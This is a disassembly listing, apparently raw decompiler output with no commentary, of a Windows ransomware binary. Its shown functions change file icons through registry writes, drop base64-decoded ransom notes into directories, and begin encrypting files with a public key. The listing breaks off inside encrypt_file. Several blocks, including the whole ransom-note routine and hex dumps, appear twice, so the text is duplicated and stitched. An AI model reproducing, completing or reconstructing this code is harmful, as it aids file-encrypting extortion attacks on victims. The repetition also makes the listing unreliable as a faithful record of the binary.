140006060 00 48 89 c1 e8 67 b4 0d 00 48 8d 85 10 03 00 00 .H...g...H......
140006070 48 89 c1 e8 58 b4 0d 00 48 89 d8 48 89 c1 e8 1d H...X...H..H....
140006080 53 01 00 S..
140006083
140006083loc_140006083:
140006083nop
140006084
140006084loc_140006084:
140006084add rsp, 1240
14000608bpop rbx
14000608cpop rsi
14000608dpop rdi
14000608epop rbp
14000608fret
140005b38
140005b38change_file_icons(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&):
140005b38push rbp
140005b39push rdi
140005b3apush rsi
140005b3bpush rbx
140005b3csub rsp, 1240
140005b43lea rbp, [rsp+128]
140005b4bmov [rbp+1152], rcx
140005b52mov rax, [rbp+1152]
140005b59mov rcx, rax
140005b5ccall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::empty() const
140005b61test al, al
140005b63jne 0x140006083
140005b69lea rax, [rbp+784]
140005b70mov rdx, [rbp+1152]
140005b77mov rcx, rax
140005b7acall base64_decode(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140005b7flea rax, [rbp+784]
140005b86mov rcx, rax
140005b89call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::empty() const
140005b8etest al, al
140005b90je 0x140005b9c
140005b92mov ebx, 0
140005b97jmp 0x140005f4d
140005b9c
140005b9cloc_140005b9c:
140005b9clea rax, [rbp+831]
140005ba3mov [rbp+1088], rax
140005baanop
140005babnop
140005baclea rcx, [rbp+831]
140005bb3lea rdx, [rip+0x101ee0]
140005bbalea rax, [rbp+752]
140005bc1mov r8, rcx
140005bc4mov rcx, rax
140005bc7call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140005bcclea rax, [rbp+831]
140005bd3mov rcx, rax
140005bd6call std::__new_allocator<char>::~__new_allocator()
140005bdbnop
140005bdclea rdx, [rbp+752]
140005be3lea rax, [rbp+288]
140005beamov r8l, 4
140005bf0mov rcx, rax
140005bf3call std::basic_ofstream<char, std::char_traits<char>>::basic_ofstream(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::_Ios_Openmode)
140005bf8lea rax, [rbp+784]
140005bffmov rcx, rax
140005c02call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::size() const
140005c07mov rbx, rax
140005c0alea rax, [rbp+784]
140005c11mov rcx, rax
140005c14call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::c_str() const
140005c19mov rdx, rax
140005c1clea rax, [rbp+288]
140005c23mov r8, rbx
140005c26mov rcx, rax
140005c29call std::ostream::write(char const*, long long)
140005c2elea rax, [rbp+288]
140005c35mov rcx, rax
140005c38call std::basic_ofstream<char, std::char_traits<char>>::close()
140005c3dmov rax, rbp
140005c40lea rdx, [rip+0xfe3b9]
140005c47mov ecx, 35
140005c4cmov rdi, rax
140005c4fmov rsi, rdx
140005c52rep movsq [rdi], [rsi]
140005c55mov [rbp+1100], 0
140005c5fjmp 0x140005e41
140005c64
140005c64loc_140005c64:
140005c64lea rax, [rbp+879]
140005c6bmov [rbp+1080], rax
140005c72nop
140005c73nop
140005c74mov eax, [rbp+1100]
140005c7acdqe
140005c7cmov rdx, [rbp+8*rax]
140005c81lea rcx, [rbp+879]
140005c88lea rax, [rbp+832]
140005c8fmov r8, rcx
140005c92mov rcx, rax
140005c95call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140005c9alea rax, [rbp-48]
140005c9elea rcx, [rip+0x101e12]
140005ca5lea rdx, [rbp+832]
140005cacmov r8, rcx
140005cafmov rcx, rax
140005cb2call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
140005cb7lea rax, [rbp+832]
140005cbemov rcx, rax
140005cc1call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140005cc6lea rax, [rbp+879]
140005ccdmov rcx, rax
140005cd0call std::__new_allocator<char>::~__new_allocator()
140005cd5nop
140005cd6lea rax, [rbp-48]
140005cdamov rcx, rax
140005cddcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::c_str() const
140005ce2mov rdx, rax
140005ce5mov [rsp+64], 0
140005ceelea rax, [rbp-8]
140005cf2mov [rsp+56], rax
140005cf7mov [rsp+48], 0
140005d00mov [rsp+40], 0x20006
140005d08mov [rsp+32], 0
140005d10mov r9l, 0
140005d16mov r8l, 0
140005d1cmov rcx, 0xffffffff80000000
140005d23mov rax, [rip+0x1c3c66]
140005d2acall rax
140005d2ctest eax, eax
140005d2esete al
140005d31test al, al
140005d33je 0x140005d9d
140005d35lea rax, [rbp+752]
140005d3cmov rcx, rax
140005d3fcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::length() const
140005d44lea ebx, [rax+1]
140005d47lea rax, [rbp+752]
140005d4emov rcx, rax
140005d51call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::c_str() const
140005d56mov rdx, rax
140005d59mov rax, [rbp-8]
140005d5dlea rcx, [rip+0x101795]
140005d64mov [rsp+40], ebx
140005d68mov [rsp+32], rdx
140005d6dmov r9l, 1
140005d73mov r8l, 0
140005d79mov rdx, rcx
140005d7cmov rcx, rax
140005d7fmov rax, [rip+0x1c3c22]
140005d86call rax
140005d88mov rax, [rbp-8]
140005d8cmov rcx, rax
140005d8fmov rax, [rip+0x1c3bf2]
140005d96call rax
140005d98jmp 0x140005e2e
140005d9d
140005d9dloc_140005d9d:
140005d9dlea rax, [rbp+927]
140005da4mov [rbp+1072], rax
140005dabnop
140005dacnop
140005dadlea rcx, [rbp+927]
140005db4lea rdx, [rip+0x101b13]
140005dbblea rax, [rbp+880]
140005dc2mov r8, rcx
140005dc5mov rcx, rax
140005dc8call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140005dcdlea rax, [rbp+928]
140005dd4lea rcx, [rbp-48]
140005dd8lea rdx, [rip+0x101ce9]
140005ddfmov r8, rcx
140005de2mov rcx, rax
140005de5call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_RKS8_
140005dealea rdx, [rbp+880]
140005df1lea rax, [rbp+928]
140005df8mov rcx, rax
140005dfbcall log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140005e00lea rax, [rbp+928]
140005e07mov rcx, rax
140005e0acall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140005e0flea rax, [rbp+880]
140005e16mov rcx, rax
140005e19call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140005e1elea rax, [rbp+927]
140005e25mov rcx, rax
140005e28call std::__new_allocator<char>::~__new_allocator()
140005e2dnop
140005e2e
140005e2eloc_140005e2e:
140005e2elea rax, [rbp-48]
140005e32mov rcx, rax
140005e35call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140005e3aadd [rbp+1100], 1
140005e41
140005e41loc_140005e41:
140005e41mov eax, [rbp+1100]
140005e47cdqe
140005e49mov rax, [rbp+8*rax]
140005e4etest rax, rax
140005e51jne 0x140005c64
140005e57mov r9l, 0
140005e5dmov r8l, 0
140005e63mov edx, 0
140005e68mov ecx, 0x8000000
140005e6dmov rax, [rip+0x1c42cc]
140005e74call rax
140005e76lea rax, [rbp+1007]
140005e7dmov [rbp+1064], rax
140005e84nop
140005e85nop
140005e86lea rcx, [rbp+1007]
140005e8dlea rdx, [rip+0x101355]
140005e94lea rax, [rbp+960]
140005e9bmov r8, rcx
140005e9emov rcx, rax
140005ea1call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140005ea6lea rax, [rbp+1055]
140005eadmov [rbp+1056], rax
140005eb4nop
140005eb5nop
140005eb6lea rcx, [rbp+1055]
140005ebdlea rdx, [rip+0x101c3c]
140005ec4lea rax, [rbp+1008]
140005ecbmov r8, rcx
140005ecemov rcx, rax
140005ed1call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140005ed6lea rdx, [rbp+960]
140005eddlea rax, [rbp+1008]
140005ee4mov rcx, rax
140005ee7call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140005eeclea rax, [rbp+1008]
140005ef3mov rcx, rax
140005ef6call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140005efblea rax, [rbp+1055]
140005f02mov rcx, rax
140005f05call std::__new_allocator<char>::~__new_allocator()
140005f0anop
140005f0blea rax, [rbp+960]
140005f12mov rcx, rax
140005f15call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140005f1alea rax, [rbp+1007]
140005f21mov rcx, rax
140005f24call std::__new_allocator<char>::~__new_allocator()
140005f29nop
140005f2alea rax, [rbp+288]
140005f31mov rcx, rax
140005f34call std::basic_ofstream<char, std::char_traits<char>>::~basic_ofstream()
140005f39lea rax, [rbp+752]
140005f40mov rcx, rax
140005f43call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140005f48mov ebx, 1
140005f4d
140005f4dloc_140005f4d:
140005f4dlea rax, [rbp+784]
140005f54mov rcx, rax
140005f57call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140005f5ccmp ebx, 1
140005f5fjmp 0x140006084
140005f64
140005f64 48 89 c3 48 8d 85 3f 03 00 00 48 89 H..H..?...H.
140005f70 c1 e8 5a 7e 0c 00 90 e9 ed 00 00 00 48 89 c3 48 ..Z~........H..H
140005f80 8d 85 40 03 00 00 48 89 c1 e8 42 b5 0d 00 eb 03 ..@...H...B.....
140005f90 48 89 c3 48 8d 85 6f 03 00 00 48 89 c1 e8 2e 7e H..H..o...H....~
140005fa0 0c 00 90 e9 9e 00 00 00 48 89 c3 48 8d 85 a0 03 ........H..H....
140005fb0 00 00 48 89 c1 e8 16 b5 0d 00 eb 03 48 89 c3 48 ..H.........H..H
140005fc0 8d 85 70 03 00 00 48 89 c1 e8 02 b5 0d 00 eb 03 ..p...H.........
140005fd0 48 89 c3 48 8d 85 9f 03 00 00 48 89 c1 e8 ee 7d H..H......H....}
140005fe0 0c 00 90 eb 03 48 89 c3 48 8d 45 d0 48 89 c1 e8 .....H..H.E.H...
140005ff0 dc b4 0d 00 eb 50 48 89 c3 48 8d 85 f0 03 00 00 .....PH..H......
140006000 48 89 c1 e8 c8 b4 0d 00 eb 03 48 89 c3 48 8d 85 H.........H..H..
140006010 1f 04 00 00 48 89 c1 e8 b4 7d 0c 00 90 48 8d 85 ....H....}...H..
140006020 c0 03 00 00 48 89 c1 e8 a4 b4 0d 00 eb 03 48 89 ....H.........H.
140006030 c3 48 8d 85 ef 03 00 00 48 89 c1 e8 90 7d 0c 00 .H......H....}..
140006040 90 eb 03 48 89 c3 48 8d 85 20 01 00 00 48 89 c1 ...H..H.. ...H..
140006050 e8 4b 5b 0c 00 eb 03 48 89 c3 48 8d 85 f0 02 00 .K[....H..H.....
140006060 00 48 89 c1 e8 67 b4 0d 00 48 8d 85 10 03 00 00 .H...g...H......
140006070 48 89 c1 e8 58 b4 0d 00 48 89 d8 48 89 c1 e8 1d H...X...H..H....
140006080 53 01 00 S..
140006083
140006083loc_140006083:
140006083nop
140006084
140006084loc_140006084:
140006084add rsp, 1240
14000608bpop rbx
14000608cpop rsi
14000608dpop rdi
14000608epop rbp
14000608fret
140005b38
140006090
140006090create_ransom_note_in_dir(std::filesystem::__cxx11::path const&):
140006090push rbp
140006091push rbx
140006092sub rsp, 856
140006099lea rbp, [rsp+128]
1400060a1mov [rbp+752], rcx
1400060a8lea rax, [rbp+464]
1400060aflea rdx, [rip+0x1c202a]
1400060b6mov rcx, rax
1400060b9call base64_decode(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
1400060belea rax, [rbp+432]
1400060c5lea rdx, [rip+0x1c2094]
1400060ccmov rcx, rax
1400060cfcall base64_decode(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
1400060d4mov rax, [rip+0x1c3bad]
1400060dbcall rax
1400060ddmov edx, eax
1400060dflea rax, [rbp+400]
1400060e6mov rcx, rax
1400060e9call std::__cxx11::to_string(unsigned long)
1400060eelea rdx, [rip+0x10113b]
1400060f5lea rax, [rbp+432]
1400060fcmov r8, -1
140006103mov rcx, rax
140006106call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::find_last_of(char const*, unsigned long long) const
14000610bmov rcx, rax
14000610elea rax, [rbp+496]
140006115lea rdx, [rbp+432]
14000611cmov r9, -1
140006123mov r8, rcx
140006126mov rcx, rax
140006129call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::substr(unsigned long long, unsigned long long) const
14000612elea rdx, [rip+0x1010fb]
140006135lea rax, [rbp+432]
14000613cmov r8, -1
140006143mov rcx, rax
140006146call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::find_last_of(char const*, unsigned long long) const
14000614bmov rcx, rax
14000614elea rax, [rbp+592]
140006155lea rdx, [rbp+432]
14000615cmov r9, rcx
14000615fmov r8l, 0
140006165mov rcx, rax
140006168call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::substr(unsigned long long, unsigned long long) const
14000616dlea rax, [rbp+560]
140006174lea rcx, [rip+0x101a69]
14000617blea rdx, [rbp+592]
140006182mov r8, rcx
140006185mov rcx, rax
140006188call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
14000618dlea rax, [rbp+528]
140006194lea rcx, [rbp+400]
14000619blea rdx, [rbp+560]
1400061a2mov r8, rcx
1400061a5mov rcx, rax
1400061a8call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_RKS8_
1400061adlea rax, [rbp+368]
1400061b4lea rcx, [rbp+496]
1400061bblea rdx, [rbp+528]
1400061c2mov r8, rcx
1400061c5mov rcx, rax
1400061c8call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_S9_
1400061cdlea rax, [rbp+528]
1400061d4mov rcx, rax
1400061d7call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400061dclea rax, [rbp+560]
1400061e3mov rcx, rax
1400061e6call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400061eblea rax, [rbp+592]
1400061f2mov rcx, rax
1400061f5call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400061falea rax, [rbp+496]
140006201mov rcx, rax
140006204call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006209lea rdx, [rbp+368]
140006210lea rax, [rbp+672]
140006217mov r8l, 2
14000621dmov rcx, rax
140006220call std::filesystem::__cxx11::path::path<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::filesystem::__cxx11::path>(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::filesystem::__cxx11::path::format)
140006225lea rax, [rbp+624]
14000622clea rcx, [rbp+672]
140006233mov rdx, [rbp+752]
14000623amov r8, rcx
14000623dmov rcx, rax
140006240call std::filesystem::__cxx11::operator/(std::filesystem::__cxx11::path const&, std::filesystem::__cxx11::path const&)
140006245lea rdx, [rbp+624]
14000624clea rax, [rbp-96]
140006250mov r8l, 16
140006256mov rcx, rax
140006259call std::basic_ofstream<char, std::char_traits<char>>::basic_ofstream<std::filesystem::__cxx11::path, std::filesystem::__cxx11::path>(std::filesystem::__cxx11::path const&, std::_Ios_Openmode)
14000625elea rax, [rbp+624]
140006265mov rcx, rax
140006268call std::filesystem::__cxx11::path::~path()
14000626dlea rax, [rbp+672]
140006274mov rcx, rax
140006277call std::filesystem::__cxx11::path::~path()
14000627clea rax, [rbp-96]
140006280mov rcx, rax
140006283call std::basic_ofstream<char, std::char_traits<char>>::is_open()
140006288test al, al
14000628aje 0x14000629f
14000628clea rdx, [rbp+464]
140006293lea rax, [rbp-96]
140006297mov rcx, rax
14000629acall _ZStlsIcSt11char_traitsIcESaIcEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE
14000629f
14000629floc_14000629f:
14000629flea rax, [rbp-96]
1400062a3mov rcx, rax
1400062a6call std::basic_ofstream<char, std::char_traits<char>>::~basic_ofstream()
1400062ablea rax, [rbp+368]
1400062b2mov rcx, rax
1400062b5call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400062balea rax, [rbp+400]
1400062c1mov rcx, rax
1400062c4call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400062c9lea rax, [rbp+432]
1400062d0mov rcx, rax
1400062d3call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400062d8lea rax, [rbp+464]
1400062dfmov rcx, rax
1400062e2call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400062e7jmp 0x1400063cf
1400062ec
1400062ec 48 89 c3 48 H..H
1400062f0 8d 85 10 02 00 00 48 89 c1 e8 d2 b1 0d 00 eb 03 ......H.........
140006300 48 89 c3 48 8d 85 30 02 00 00 48 89 c1 e8 be b1 H..H..0...H.....
140006310 0d 00 eb 03 48 89 c3 48 8d 85 50 02 00 00 48 89 ....H..H..P...H.
140006320 c1 e8 aa b1 0d 00 eb 03 48 89 c3 48 8d 85 f0 01 ........H..H....
140006330 00 00 48 89 c1 e8 96 b1 0d 00 eb 50 48 89 c3 48 ..H........PH..H
140006340 8d 85 70 02 00 00 48 89 c1 e8 52 32 0a 00 eb 03 ..p...H...R2....
140006350 48 89 c3 48 8d 85 a0 02 00 00 48 89 c1 e8 3e 32 H..H......H...>2
140006360 0a 00 eb 14 48 89 c3 48 8d 45 a0 48 89 c1 e8 2d ....H..H.E.H...-
140006370 58 0c 00 eb 03 48 89 c3 48 8d 85 70 01 00 00 48 X....H..H..p...H
140006380 89 c1 e8 49 b1 0d 00 eb 03 48 89 c3 48 8d 85 90 ...I.....H..H...
140006390 01 00 00 48 89 c1 e8 35 b1 0d 00 eb 03 48 89 c3 ...H...5.....H..
1400063a0 48 8d 85 b0 01 00 00 48 89 c1 e8 21 b1 0d 00 eb H......H...!....
1400063b0 03 48 89 c3 48 8d 85 d0 01 00 00 48 89 c1 e8 0d .H..H......H....
1400063c0 b1 0d 00 48 89 d8 48 89 c1 e8 d2 4f 01 00 90 ...H..H....O...
1400063cf
1400063cfloc_1400063cf:
1400063cfadd rsp, 856
1400063d6pop rbx
1400063d7pop rbp
1400063d8ret
140006090
140006090create_ransom_note_in_dir(std::filesystem::__cxx11::path const&):
140006090push rbp
140006091push rbx
140006092sub rsp, 856
140006099lea rbp, [rsp+128]
1400060a1mov [rbp+752], rcx
1400060a8lea rax, [rbp+464]
1400060aflea rdx, [rip+0x1c202a]
1400060b6mov rcx, rax
1400060b9call base64_decode(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
1400060belea rax, [rbp+432]
1400060c5lea rdx, [rip+0x1c2094]
1400060ccmov rcx, rax
1400060cfcall base64_decode(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
1400060d4mov rax, [rip+0x1c3bad]
1400060dbcall rax
1400060ddmov edx, eax
1400060dflea rax, [rbp+400]
1400060e6mov rcx, rax
1400060e9call std::__cxx11::to_string(unsigned long)
1400060eelea rdx, [rip+0x10113b]
1400060f5lea rax, [rbp+432]
1400060fcmov r8, -1
140006103mov rcx, rax
140006106call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::find_last_of(char const*, unsigned long long) const
14000610bmov rcx, rax
14000610elea rax, [rbp+496]
140006115lea rdx, [rbp+432]
14000611cmov r9, -1
140006123mov r8, rcx
140006126mov rcx, rax
140006129call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::substr(unsigned long long, unsigned long long) const
14000612elea rdx, [rip+0x1010fb]
140006135lea rax, [rbp+432]
14000613cmov r8, -1
140006143mov rcx, rax
140006146call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::find_last_of(char const*, unsigned long long) const
14000614bmov rcx, rax
14000614elea rax, [rbp+592]
140006155lea rdx, [rbp+432]
14000615cmov r9, rcx
14000615fmov r8l, 0
140006165mov rcx, rax
140006168call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::substr(unsigned long long, unsigned long long) const
14000616dlea rax, [rbp+560]
140006174lea rcx, [rip+0x101a69]
14000617blea rdx, [rbp+592]
140006182mov r8, rcx
140006185mov rcx, rax
140006188call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_PKS5_
14000618dlea rax, [rbp+528]
140006194lea rcx, [rbp+400]
14000619blea rdx, [rbp+560]
1400061a2mov r8, rcx
1400061a5mov rcx, rax
1400061a8call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_RKS8_
1400061adlea rax, [rbp+368]
1400061b4lea rcx, [rbp+496]
1400061bblea rdx, [rbp+528]
1400061c2mov r8, rcx
1400061c5mov rcx, rax
1400061c8call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_S9_
1400061cdlea rax, [rbp+528]
1400061d4mov rcx, rax
1400061d7call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400061dclea rax, [rbp+560]
1400061e3mov rcx, rax
1400061e6call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400061eblea rax, [rbp+592]
1400061f2mov rcx, rax
1400061f5call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400061falea rax, [rbp+496]
140006201mov rcx, rax
140006204call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006209lea rdx, [rbp+368]
140006210lea rax, [rbp+672]
140006217mov r8l, 2
14000621dmov rcx, rax
140006220call std::filesystem::__cxx11::path::path<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::filesystem::__cxx11::path>(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::filesystem::__cxx11::path::format)
140006225lea rax, [rbp+624]
14000622clea rcx, [rbp+672]
140006233mov rdx, [rbp+752]
14000623amov r8, rcx
14000623dmov rcx, rax
140006240call std::filesystem::__cxx11::operator/(std::filesystem::__cxx11::path const&, std::filesystem::__cxx11::path const&)
140006245lea rdx, [rbp+624]
14000624clea rax, [rbp-96]
140006250mov r8l, 16
140006256mov rcx, rax
140006259call std::basic_ofstream<char, std::char_traits<char>>::basic_ofstream<std::filesystem::__cxx11::path, std::filesystem::__cxx11::path>(std::filesystem::__cxx11::path const&, std::_Ios_Openmode)
14000625elea rax, [rbp+624]
140006265mov rcx, rax
140006268call std::filesystem::__cxx11::path::~path()
14000626dlea rax, [rbp+672]
140006274mov rcx, rax
140006277call std::filesystem::__cxx11::path::~path()
14000627clea rax, [rbp-96]
140006280mov rcx, rax
140006283call std::basic_ofstream<char, std::char_traits<char>>::is_open()
140006288test al, al
14000628aje 0x14000629f
14000628clea rdx, [rbp+464]
140006293lea rax, [rbp-96]
140006297mov rcx, rax
14000629acall _ZStlsIcSt11char_traitsIcESaIcEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE
14000629f
14000629floc_14000629f:
14000629flea rax, [rbp-96]
1400062a3mov rcx, rax
1400062a6call std::basic_ofstream<char, std::char_traits<char>>::~basic_ofstream()
1400062ablea rax, [rbp+368]
1400062b2mov rcx, rax
1400062b5call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400062balea rax, [rbp+400]
1400062c1mov rcx, rax
1400062c4call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400062c9lea rax, [rbp+432]
1400062d0mov rcx, rax
1400062d3call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400062d8lea rax, [rbp+464]
1400062dfmov rcx, rax
1400062e2call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400062e7jmp 0x1400063cf
1400062ec
1400062ec 48 89 c3 48 H..H
1400062f0 8d 85 10 02 00 00 48 89 c1 e8 d2 b1 0d 00 eb 03 ......H.........
140006300 48 89 c3 48 8d 85 30 02 00 00 48 89 c1 e8 be b1 H..H..0...H.....
140006310 0d 00 eb 03 48 89 c3 48 8d 85 50 02 00 00 48 89 ....H..H..P...H.
140006320 c1 e8 aa b1 0d 00 eb 03 48 89 c3 48 8d 85 f0 01 ........H..H....
140006330 00 00 48 89 c1 e8 96 b1 0d 00 eb 50 48 89 c3 48 ..H........PH..H
140006340 8d 85 70 02 00 00 48 89 c1 e8 52 32 0a 00 eb 03 ..p...H...R2....
140006350 48 89 c3 48 8d 85 a0 02 00 00 48 89 c1 e8 3e 32 H..H......H...>2
140006360 0a 00 eb 14 48 89 c3 48 8d 45 a0 48 89 c1 e8 2d ....H..H.E.H...-
140006370 58 0c 00 eb 03 48 89 c3 48 8d 85 70 01 00 00 48 X....H..H..p...H
140006380 89 c1 e8 49 b1 0d 00 eb 03 48 89 c3 48 8d 85 90 ...I.....H..H...
140006390 01 00 00 48 89 c1 e8 35 b1 0d 00 eb 03 48 89 c3 ...H...5.....H..
1400063a0 48 8d 85 b0 01 00 00 48 89 c1 e8 21 b1 0d 00 eb H......H...!....
1400063b0 03 48 89 c3 48 8d 85 d0 01 00 00 48 89 c1 e8 0d .H..H......H....
1400063c0 b1 0d 00 48 89 d8 48 89 c1 e8 d2 4f 01 00 90 ...H..H....O...
1400063cf
1400063cfloc_1400063cf:
1400063cfadd rsp, 856
1400063d6pop rbx
1400063d7pop rbp
1400063d8ret
140006090
1400063d9
1400063d9encrypt_file(std::filesystem::__cxx11::path const&, evp_pkey_st*):
1400063d9push rbp
1400063dapush rsi
1400063dbpush rbx
1400063dcmov eax, 7504
1400063e1call ___chkstk_ms
1400063e6sub rsp, rax
1400063e9lea rbp, [rsp+128]
1400063f1mov [rbp+7408], rcx
1400063f8mov [rbp+7416], rdx
1400063fflea rax, [rbp-80]
140006403lea rdx, [rip+0x1c1d36]
14000640amov rcx, rax
14000640dcall base64_decode(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140006412lea rax, [rbp+5712]
140006419mov rdx, [rbp+7408]
140006420mov rcx, rax
140006423call std::filesystem::__cxx11::path::string() const
140006428lea rax, [rbp-48]
14000642clea rcx, [rbp-80]
140006430lea rdx, [rbp+5712]
140006437mov r8, rcx
14000643amov rcx, rax
14000643dcall _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEOS8_RKS8_
140006442lea rax, [rbp+5712]
140006449mov rcx, rax
14000644ccall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006451lea rdx, [rbp-48]
140006455lea rax, [rbp+16]
140006459mov r8l, 2
14000645fmov rcx, rax
140006462call std::filesystem::__cxx11::path::path<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>, std::filesystem::__cxx11::path>(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::filesystem::__cxx11::path::format)
140006467mov rdx, [rbp+7408]
14000646elea rax, [rbp+528]
140006475mov r8l, 4
14000647bmov rcx, rax
14000647ecall std::basic_ifstream<char, std::char_traits<char>>::basic_ifstream<std::filesystem::__cxx11::path, std::filesystem::__cxx11::path>(std::filesystem::__cxx11::path const&, std::_Ios_Openmode)
140006483lea rax, [rbp+528]
14000648amov rcx, rax
14000648dcall std::basic_ifstream<char, std::char_traits<char>>::is_open()
140006492xor eax, 1
140006495test al, al
140006497je 0x140006560
14000649dlea rax, [rbp+5791]
1400064a4mov [rbp+7328], rax
1400064abnop
1400064acnop
1400064adlea rcx, [rbp+5791]
1400064b4lea rdx, [rip+0x100d48]
1400064bblea rax, [rbp+5744]
1400064c2mov r8, rcx
1400064c5mov rcx, rax
1400064c8call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
1400064cdlea rax, [rbp+5824]
1400064d4mov rdx, [rbp+7408]
1400064dbmov rcx, rax
1400064decall std::filesystem::__cxx11::path::string() const
1400064e3lea rax, [rbp+5792]
1400064ealea rcx, [rbp+5824]
1400064f1lea rdx, [rip+0x1016f0]
1400064f8mov r8, rcx
1400064fbmov rcx, rax
1400064fecall _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_OS8_
140006503lea rdx, [rbp+5744]
14000650alea rax, [rbp+5792]
140006511mov rcx, rax
140006514call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140006519lea rax, [rbp+5792]
140006520mov rcx, rax
